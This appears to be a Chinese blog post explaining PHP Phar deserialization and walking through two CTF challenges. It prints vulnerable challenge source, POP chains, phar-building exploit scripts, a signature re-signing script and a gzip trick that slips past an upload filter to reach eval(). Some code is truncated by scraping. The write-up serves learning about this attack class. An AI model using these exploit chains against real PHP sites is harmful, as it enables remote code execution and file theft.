文件上传与Phar反序列化的摩擦
创始人
2024-04-03 17:19:54
0

提示:文章yu写完后,目录可以自动生成,如何生成可参考右边的帮助文档

目录

前言

一、Phar是什么?

二、Phar压缩文件的组成

三、Phar伪协议

四、SWPU 2018[SimplePHP]

 五、[NSSRound#4 SWPU]1zweb

总结


前言

提示:这里可以添加本文要记录的大概内容:

最近在刷题的时候,连续做到了两道文件上传+Phar的反序列化题目,对以前不太熟悉的Phar熟悉了一点,做个记录。


提示:以下是本篇文章正文内容,下面案例可供参考

一、Phar是什么?

官方文档的解析:phar扩展提供了一种将整个PHP应用程序放入一个名为“phar”(PHP Archive)的文件中的方法,以便于分发和安装。除了提供此服务之外,phar扩展还提供了一种文件格式抽象方法,用于通过PharData类创建和操作tar和zip文件,就像PDO为访问不同的数据库提供了统一的接口一样。与PDO不同,它不能在不同的数据库之间转换,Phar也可以用一行代码在tar、zip和Phar文件格式之间转换。Phar归档的最佳特点是将多个文件组合为一个文件的便捷方式。因此,phar归档提供了一种将完整的PHP应用程序分发到单个文件中并从该文件运行的方法,而无需将其解压缩到磁盘。此外,无论是在命令行上还是在web服务器上,PHP都可以像任何其他文件一样轻松地执行phar归档。Phar有点像PHP应用程序的拇指驱动器。

简单来说,phar可以将多个PHP打包成一个phar的文件,可以看作就是一个压缩文件。

二、Phar压缩文件的组成

一般phar由四个部分组成:1、存根,2、描述内容的清单,3、文件内容,4、完整性签名,

简单来说就是

1、Stub:即Phar文件的文件头,默认是,xxx可以是自定义的任何字符,不定义默认就为

2、a manifest describing the contents:phar包的各种属性信息,包括文件名、压缩文件的大小,序列化的文件、大小等等

        

3、file contents:即要添加的压缩的文件的名

4、Phar Signature format:即Phar文件的签名,确保文件的完整性,可以是20字节的SHA1,16字节的MD5,32字节的SHA256,64字节的512等

 更多的关于Phar的函数等,参考:Phar - PHP中文版 - API参考文档icon-default.png?t=M85Bhttps://www.apiref.com/php-zh/book.phar.html

三、Phar伪协议

phar伪协议可以是PHP的一个解压缩包的函数,不管后缀,都会当做压缩包来解压,由于Phar内容清单中存储内容的形式是序列化的,当文件中有file_get_content(),file_exists()等函数的参数可控时候,使用phar://伪协议,会直接进行反序列化的操作将文件内容还原,即使不用unserialize()反序列化函数也能进行反序列化的操作,就有可能导致反序列化的漏洞。

四、SWPU 2018[SimplePHP]

1、进入题目:

        

在查看文件处发现url中存在file参数,能够直接查看到index.php,class.php的源码,主要的源码如下: 

 file.php:

There is no file to show!

"; } $show = new Show(); #创建class的Show()类 if(file_exists($file)) {$show->source = $file;$show->_show(); #调用Show类的_show()方法 } else if (!empty($file)){die('file doesn\'t exists.'); } ?>

Class.php:

str = $name;}public function __destruct(){$this->test = $this->str;echo $this->test;}
}class Show
{public $source;public $str;public function __construct($file){$this->source = $file;   echo $this->source;}public function __toString(){$content = $this->str['str']->source;return $content;}public function __set($key,$value){$this->$key = $value;}public function _show(){if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {die('hacker!');} else {highlight_file($this->source);}}public function __wakeup(){if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {echo "hacker~";$this->source = "index.php";}}
}
class Test
{public $file;public $params;public function __construct(){$this->params = array();}public function __get($key){return $this->get($key);}public function get($key){if(isset($this->params[$key])) {$value = $this->params[$key];} else {$value = "index.php";}return $this->file_get($value);}public function file_get($value){$text = base64_encode(file_get_contents($value));return $text;}
}
?>

 Show类的_show()方法过滤了http、https等各种伪协议,但是没有过滤phar为协议,并且这里有一堆魔术函数,可以看看能否找到Phar伪协议的利用点,发现Test类的file_get()函数有通过file_get_contents直接获取到$value参数的内容。

 

get()方法可以调用file_get()函数,get()方法被魔术方法__get()所调用,__get()主要用途在外部调用PHP的私有属性时,属性为了解决私有属性无法访问时调用的,那么当Test类的属性被设为private或者没有时,会触发这个方法。

Show类中魔术方法__toString调用了一个$source属性,那么让str['str']为Test类即可触发__get方法,__toString方法的触发主要是当对象被当作字符串使用时。

 

__destruct()析构函数,在类结束时会自动调用,函数中对$str赋值给$test,让$str为Show类,就相当于被当作字符串对待,即可触发__toString方法。

Pop链 Test::file_get()->Test::__get()->Show::__toString()->C1e4r::__destruct()

upload_file.php:

alert("上传成功!");';
}
function upload_file() {global $_FILES;if(upload_file_check()) {upload_file_do();}
}
function upload_file_check() {global $_FILES;$allowed_types = array("gif","jpeg","jpg","png");$temp = explode(".",$_FILES["file"]["name"]);$extension = end($temp);if(empty($extension)) {//echo "

请选择上传的文件:" . "

";}else{if(in_array($extension,$allowed_types)) {return true;}else {echo '';return false;}} } ?>

 对上传文件进行了gif、jpeg、jpg、png的后缀名检测,并且存储在upload中,上传的文件重命名为md5(文件名+IP地址).jpg的形式,因此可以通过Pop链生成phar归档文件,修改为gif或jpg等文件后缀,最后通过Phar://伪协议直接进行反序列化,使得C1e4r会获取到flag的内容,并echo出来。

str=new Show();
$m->str->str['str']=new Test();
$m->str->str['str']->params["source"]="/var/www/html/f1ag.php";
@unlink('test.phar');$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub(''); #定义Phar的文件头
$phar->setMetadata($m); #注入文件的内容数据
$phar->addFromString("test.txt","test");#以字符串的形式添加文件进行归档
$phar->stopBuffering();#Pop链 Test::file_get()->Test::__get()->Show::__toString()->C1e4r::__destruct()
?>

 

对echo出来的内容,进行base64解码,即得到flag,这里的md5重命名,好像怎么都不对,但是可以直接访问/upload/目录看到文件的名称。 

 五、[NSSRound#4 SWPU]1zweb

进入题目:

 

同样在查询文件处能够直接得到各php文件的源码 ,源码缺省部分打开F12就能看到被注释掉了,如下:

 index.php:

ljt = "ljt";$this->dky = "dky";phpinfo();}
public function __destruct()
{if($this->ljt==="Misc"&&$this->dky==="Re")eval($this->cmd);
}
public function __wakeup()
{$this->ljt="Re";$this->dky="Misc";
}
}
$file=$_POST['file'];
if(isset($_POST['file']))
{if (preg_match("/flag/", $file)){die("nonono");}echo file_get_contents($file);
}

又是file_get_contents()函数获取到$file的内容,并且$file可控,并且__destruct()中存在eval(),可能可以进行命令执行,条件是$ljt和$dky的值是Misc和Re。

 upload.php:

0)
{echo "上传异常";
}
else{$allowedExts = array("gif", "jpeg", "jpg", "png");$temp = explode(".", $_FILES["file"]["name"]);$extension = end($temp);if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){$content=file_get_contents($_FILES["file"]["tmp_name"]);$pos = strpos($content, "__HALT_COMPILER();");if(gettype($pos)==="integer"){echo "ltj一眼就发现了phar";}else{if (file_exists("./upload/" . $_FILES["file"]["name"])){echo $_FILES["file"]["name"] . " 文件已经存在";}else{ $myfile = fopen("./upload/".$_FILES["file"]["name"], "w");fwrite($myfile, $content); fclose($myfile);echo "上传成功 ./upload/".$_FILES["file"]["name"];}}}else{ echo "dky不喜欢这个文件 .".$extension; } } ?>

同样对上传的文件进行了gif、jpeg、jpg、png的后缀名检测, 并且在上传的文件内容中搜索__HALT_COMPILER();第一次出现的位置,搜索到即echo发现phar,否则如果文件不存在则上传成功。

虽然对 __HALT_COMPILER()进行了检测,但是完全可以对生成的phar文件进行zip加密,__HALT_COMPILER()应该会消失,绕过了文件上传的检测的同时phar依旧会对zip文件进行解压缩,然后file_get_contents()处可以利用phar伪协议触发反序列化,进行eval()的命令执行。

由于LoveNss类中存在__wakeup()魔术方法,当反序列化时会自动调用,导致__destruct方法无法进行eval,因此要绕过__wakeup方法,当序列化中的成员数大于实际成员数的时候,即可绕过。

startBuffering();
$phar->setStub(""); //设置stub
$phar->setMetadata($a); //自定义的meta-data
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算,默认是SHA1
$phar->stopBuffering();

 生成phar文件,要绕过__wakeup方法,手动修改反序列化的数量。

 

这里修改了反序列的数量后,绕过了__wakeup()方法,但是修改之后,签名确保完整性就不对了,所以还要重新进行签名,默认是SHA-1算法,那么就用SHA-1算法吧。

 

from hashlib import sha1file = open('phar.phar', 'rb').read()data = file[:-28]#要签名的部分是文件头到metadata的数据。final = file[-8:]newfile = data+sha1(data).digest()+finalopen('newpoc.phar', 'wb').write(newfile)

生成了phar文件后,进行压缩看看是否能使__HALT_COMPILER()消失。

 

 

确实不存在了,那么将zip文件修改了合适的后缀,上传应该就可以了吧,直接上传,使用phar://伪协议应该就可以了吧。

 

 这不对劲,Phar伪协议确实执行了解压,但是eval()函数似乎没有执行的命令内容呢,不符合预期的解,再重新试了几遍,发现结果都一样。想了一想,签名生成应该不会有问题,Phar能够进行解压缩,说明重新签名应该也不会有问题,有没有可能是zip压缩的问题,换一种压缩试试,换成gzip。

 

 继续进行同样的上传和phar://伪协议操作。

         

这里显示要用SHA256加密进行签名,返回去将SHA1修改为SHA256,再进行gzip后,再进行相同的操作。

 

 通过gzip和SHA256签名得到flag,再想想,会不会本就要SHA256签名,发现进行SHA256签名后进行zip压缩 ,__HALT_COMPILER()不会消失,直接就上传不了,但是为什么ZIP加密不行依旧不懂,要是有师傅看到懂的,麻烦告诉一下。

 

 


总结

文件上传遇到反序列化后,能摩擦出RCE等火花,以后有遇到类似的题目,继续进行补充记录。

相关内容

热门资讯

银河麒麟V10SP1高级服务器... 银河麒麟高级服务器操作系统简介: 银河麒麟高级服务器操作系统V10是针对企业级关键业务...
【NI Multisim 14...   目录 序言 一、工具栏 🍊1.“标准”工具栏 🍊 2.视图工具...
AWSECS:访问外部网络时出... 如果您在AWS ECS中部署了应用程序,并且该应用程序需要访问外部网络,但是无法正常访问,可能是因为...
不能访问光猫的的管理页面 光猫是现代家庭宽带网络的重要组成部分,它可以提供高速稳定的网络连接。但是,有时候我们会遇到不能访问光...
AWSElasticBeans... 在Dockerfile中手动配置nginx反向代理。例如,在Dockerfile中添加以下代码:FR...
Android|无法访问或保存... 这个问题可能是由于权限设置不正确导致的。您需要在应用程序清单文件中添加以下代码来请求适当的权限:此外...
月入8000+的steam搬砖... 大家好,我是阿阳 今天要给大家介绍的是 steam 游戏搬砖项目,目前...
​ToDesk 远程工具安装及... 目录 前言 ToDesk 优势 ToDesk 下载安装 ToDesk 功能展示 文件传输 设备链接 ...
北信源内网安全管理卸载 北信源内网安全管理是一款网络安全管理软件,主要用于保护内网安全。在日常使用过程中,卸载该软件是一种常...
AWS管理控制台菜单和权限 要在AWS管理控制台中创建菜单和权限,您可以使用AWS Identity and Access Ma...